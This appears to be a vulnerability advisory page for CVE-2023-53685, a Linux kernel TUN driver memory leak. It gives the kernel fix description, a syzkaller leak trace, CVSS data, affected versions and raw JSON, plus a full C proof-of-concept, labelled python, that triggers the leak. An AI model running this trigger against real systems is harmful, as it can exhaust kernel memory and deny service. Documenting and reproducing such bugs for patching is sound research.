Security Vulnerability Report
中文
CVE-2023-53685 CVSS 5.5 MEDIUM

CVE-2023-53685

Published: 2025-10-07 16:15:53
Last Modified: 2026-02-26 23:10:10
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: tun: Fix memory leak for detached NAPI queue. syzkaller reported [0] memory leaks of sk and skb related to the TUN device with no repro, but we can reproduce it easily with: struct ifreq ifr = {} int fd_tun, fd_tmp; char buf[4] = {}; fd_tun = openat(AT_FDCWD, "/dev/net/tun", O_WRONLY, 0); ifr.ifr_flags = IFF_TUN | IFF_NAPI | IFF_MULTI_QUEUE; ioctl(fd_tun, TUNSETIFF, &ifr); ifr.ifr_flags = IFF_DETACH_QUEUE; ioctl(fd_tun, TUNSETQUEUE, &ifr); fd_tmp = socket(AF_PACKET, SOCK_PACKET, 0); ifr.ifr_flags = IFF_UP; ioctl(fd_tmp, SIOCSIFFLAGS, &ifr); write(fd_tun, buf, sizeof(buf)); close(fd_tun); If we enable NAPI and multi-queue on a TUN device, we can put skb into tfile->sk.sk_write_queue after the queue is detached. We should prevent it by checking tfile->detached before queuing skb. Note this must be done under tfile->sk.sk_write_queue.lock because write() and ioctl(IFF_DETACH_QUEUE) can run concurrently. Otherwise, there would be a small race window: write() ioctl(IFF_DETACH_QUEUE) `- tun_get_user `- __tun_detach |- if (tfile->detached) |- tun_disable_queue | `-> false | `- tfile->detached = tun | `- tun_queue_purge |- spin_lock_bh(&queue->lock) `- __skb_queue_tail(queue, skb) Another solution is to call tun_queue_purge() when closing and reattaching the detached queue, but it could paper over another problems. Also, we do the same kind of test for IFF_NAPI_FRAGS. [0]: unreferenced object 0xffff88801edbc800 (size 2048): comm "syz-executor.1", pid 33269, jiffies 4295743834 (age 18.756s) hex dump (first 32 bytes): 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 07 40 00 00 00 00 00 00 00 00 00 00 00 00 ...@............ backtrace: [<000000008c16ea3d>] __do_kmalloc_node mm/slab_common.c:965 [inline] [<000000008c16ea3d>] __kmalloc+0x4a/0x130 mm/slab_common.c:979 [<000000003addde56>] kmalloc include/linux/slab.h:563 [inline] [<000000003addde56>] sk_prot_alloc+0xef/0x1b0 net/core/sock.c:2035 [<000000003e20621f>] sk_alloc+0x36/0x2f0 net/core/sock.c:2088 [<0000000028e43843>] tun_chr_open+0x3d/0x190 drivers/net/tun.c:3438 [<000000001b0f1f28>] misc_open+0x1a6/0x1f0 drivers/char/misc.c:165 [<000000004376f706>] chrdev_open+0x111/0x300 fs/char_dev.c:414 [<00000000614d379f>] do_dentry_open+0x2f9/0x750 fs/open.c:920 [<000000008eb24774>] do_open fs/namei.c:3636 [inline] [<000000008eb24774>] path_openat+0x143f/0x1a30 fs/namei.c:3791 [<00000000955077b5>] do_filp_open+0xce/0x1c0 fs/namei.c:3818 [<00000000b78973b0>] do_sys_openat2+0xf0/0x260 fs/open.c:1356 [<00000000057be699>] do_sys_open fs/open.c:1372 [inline] [<00000000057be699>] __do_sys_openat fs/open.c:1388 [inline] [<00000000057be699>] __se_sys_openat fs/open.c:1383 [inline] [<00000000057be699>] __x64_sys_openat+0x83/0xf0 fs/open.c:1383 [<00000000a7d2182d>] do_syscall_x64 arch/x86/entry/common.c:50 [inline] [<00000000a7d2182d>] do_syscall_64+0x3c/0x90 arch/x86/entry/common.c:80 [<000000004cc4e8c4>] entry_SYSCALL_64_after_hwframe+0x72/0xdc unreferenced object 0xffff88802f671700 (size 240): comm "syz-executor.1", pid 33269, jiffies 4295743854 (age 18.736s) hex dump (first 32 bytes): 68 c9 db 1e 80 88 ff ff 68 c9 db 1e 80 88 ff ff h.......h....... 00 c0 7b 2f 80 88 ff ff 00 c8 db 1e 80 88 ff ff ..{/............ backtrace: [<00000000e9d9fdb6>] __alloc_skb+0x223/0x250 net/core/skbuff.c:644 [<000000002c3e4e0b>] alloc_skb include/linux/skbuff.h:1288 [inline] [<000000002c3e4e0b>] alloc_skb_with_frags+0x6f/0x350 net/core/skbuff.c:6378 [<00000000825f98d7>] sock_alloc_send_pskb+0x3ac/0x3e0 net/core/sock.c:2729 [<00000000e9eb3df3>] tun_alloc_skb drivers/net/tun.c:1529 [inline] [< ---truncated---

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.4:rc1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.4:rc2:*:*:*:*:*:* - VULNERABLE
Linux Kernel < 6.1.63
Linux Kernel 6.2.x ~ 6.2.13
Linux Kernel 6.3.x ~ 6.3.2
Linux Kernel 6.4 ~ 6.4-rc1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* CVE-2023-53685 PoC - TUN NAPI detached queue memory leak * Compile: gcc -o poc poc.c * Run: ./poc * This triggers a memory leak of sk and skb in the TUN driver * when NAPI and multi-queue are enabled and a queue is detached. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <linux/if.h> #include <linux/if_tun.h> int main(void) { struct ifreq ifr = {}; int fd_tun, fd_tmp; char buf[4] = {}; /* Open the TUN device */ fd_tun = openat(AT_FDCWD, "/dev/net/tun", O_WRONLY, 0); if (fd_tun < 0) { perror("open /dev/net/tun"); return 1; } /* Create a TUN interface with NAPI and multi-queue enabled */ ifr.ifr_flags = IFF_TUN | IFF_NAPI | IFF_MULTI_QUEUE; if (ioctl(fd_tun, TUNSETIFF, &ifr) < 0) { perror("TUNSETIFF"); close(fd_tun); return 1; } /* Detach the queue */ ifr.ifr_flags = IFF_DETACH_QUEUE; if (ioctl(fd_tun, TUNSETQUEUE, &ifr) < 0) { perror("TUNSETQUEUE detach"); close(fd_tun); return 1; } /* Open a packet socket to bring up the interface */ fd_tmp = socket(AF_PACKET, SOCK_PACKET, 0); if (fd_tmp < 0) { perror("socket AF_PACKET"); close(fd_tun); return 1; } /* Set the interface up */ ifr.ifr_flags = IFF_UP; if (ioctl(fd_tmp, SIOCSIFFLAGS, &ifr) < 0) { perror("SIOCSIFFLAGS"); close(fd_tun); close(fd_tmp); return 1; } /* Write to the detached queue - triggers the memory leak */ write(fd_tun, buf, sizeof(buf)); /* Close the TUN fd - leaked sk and skb remain in kernel memory */ close(fd_tun); close(fd_tmp); printf("PoC executed. Check kernel memory for leaked sk/skb objects.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53685", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:52.777", "lastModified": "2026-02-26T23:10:09.747", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ntun: Fix memory leak for detached NAPI queue.\n\nsyzkaller reported [0] memory leaks of sk and skb related to the TUN\ndevice with no repro, but we can reproduce it easily with:\n\n struct ifreq ifr = {}\n int fd_tun, fd_tmp;\n char buf[4] = {};\n\n fd_tun = openat(AT_FDCWD, \"/dev/net/tun\", O_WRONLY, 0);\n ifr.ifr_flags = IFF_TUN | IFF_NAPI | IFF_MULTI_QUEUE;\n ioctl(fd_tun, TUNSETIFF, &ifr);\n\n ifr.ifr_flags = IFF_DETACH_QUEUE;\n ioctl(fd_tun, TUNSETQUEUE, &ifr);\n\n fd_tmp = socket(AF_PACKET, SOCK_PACKET, 0);\n ifr.ifr_flags = IFF_UP;\n ioctl(fd_tmp, SIOCSIFFLAGS, &ifr);\n\n write(fd_tun, buf, sizeof(buf));\n close(fd_tun);\n\nIf we enable NAPI and multi-queue on a TUN device, we can put skb into\ntfile->sk.sk_write_queue after the queue is detached. We should prevent\nit by checking tfile->detached before queuing skb.\n\nNote this must be done under tfile->sk.sk_write_queue.lock because write()\nand ioctl(IFF_DETACH_QUEUE) can run concurrently. Otherwise, there would\nbe a small race window:\n\n write() ioctl(IFF_DETACH_QUEUE)\n `- tun_get_user `- __tun_detach\n |- if (tfile->detached) |- tun_disable_queue\n | `-> false | `- tfile->detached = tun\n | `- tun_queue_purge\n |- spin_lock_bh(&queue->lock)\n `- __skb_queue_tail(queue, skb)\n\nAnother solution is to call tun_queue_purge() when closing and\nreattaching the detached queue, but it could paper over another\nproblems. Also, we do the same kind of test for IFF_NAPI_FRAGS.\n\n[0]:\nunreferenced object 0xffff88801edbc800 (size 2048):\n comm \"syz-executor.1\", pid 33269, jiffies 4295743834 (age 18.756s)\n hex dump (first 32 bytes):\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n 00 00 07 40 00 00 00 00 00 00 00 00 00 00 00 00 ...@............\n backtrace:\n [<000000008c16ea3d>] __do_kmalloc_node mm/slab_common.c:965 [inline]\n [<000000008c16ea3d>] __kmalloc+0x4a/0x130 mm/slab_common.c:979\n [<000000003addde56>] kmalloc include/linux/slab.h:563 [inline]\n [<000000003addde56>] sk_prot_alloc+0xef/0x1b0 net/core/sock.c:2035\n [<000000003e20621f>] sk_alloc+0x36/0x2f0 net/core/sock.c:2088\n [<0000000028e43843>] tun_chr_open+0x3d/0x190 drivers/net/tun.c:3438\n [<000000001b0f1f28>] misc_open+0x1a6/0x1f0 drivers/char/misc.c:165\n [<000000004376f706>] chrdev_open+0x111/0x300 fs/char_dev.c:414\n [<00000000614d379f>] do_dentry_open+0x2f9/0x750 fs/open.c:920\n [<000000008eb24774>] do_open fs/namei.c:3636 [inline]\n [<000000008eb24774>] path_openat+0x143f/0x1a30 fs/namei.c:3791\n [<00000000955077b5>] do_filp_open+0xce/0x1c0 fs/namei.c:3818\n [<00000000b78973b0>] do_sys_openat2+0xf0/0x260 fs/open.c:1356\n [<00000000057be699>] do_sys_open fs/open.c:1372 [inline]\n [<00000000057be699>] __do_sys_openat fs/open.c:1388 [inline]\n [<00000000057be699>] __se_sys_openat fs/open.c:1383 [inline]\n [<00000000057be699>] __x64_sys_openat+0x83/0xf0 fs/open.c:1383\n [<00000000a7d2182d>] do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n [<00000000a7d2182d>] do_syscall_64+0x3c/0x90 arch/x86/entry/common.c:80\n [<000000004cc4e8c4>] entry_SYSCALL_64_after_hwframe+0x72/0xdc\n\nunreferenced object 0xffff88802f671700 (size 240):\n comm \"syz-executor.1\", pid 33269, jiffies 4295743854 (age 18.736s)\n hex dump (first 32 bytes):\n 68 c9 db 1e 80 88 ff ff 68 c9 db 1e 80 88 ff ff h.......h.......\n 00 c0 7b 2f 80 88 ff ff 00 c8 db 1e 80 88 ff ff ..{/............\n backtrace:\n [<00000000e9d9fdb6>] __alloc_skb+0x223/0x250 net/core/skbuff.c:644\n [<000000002c3e4e0b>] alloc_skb include/linux/skbuff.h:1288 [inline]\n [<000000002c3e4e0b>] alloc_skb_with_frags+0x6f/0x350 net/core/skbuff.c:6378\n [<00000000825f98d7>] sock_alloc_send_pskb+0x3ac/0x3e0 net/core/sock.c:2729\n [<00000000e9eb3df3>] tun_alloc_skb drivers/net/tun.c:1529 [inline]\n [<\n---truncated---"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": " ... (truncated)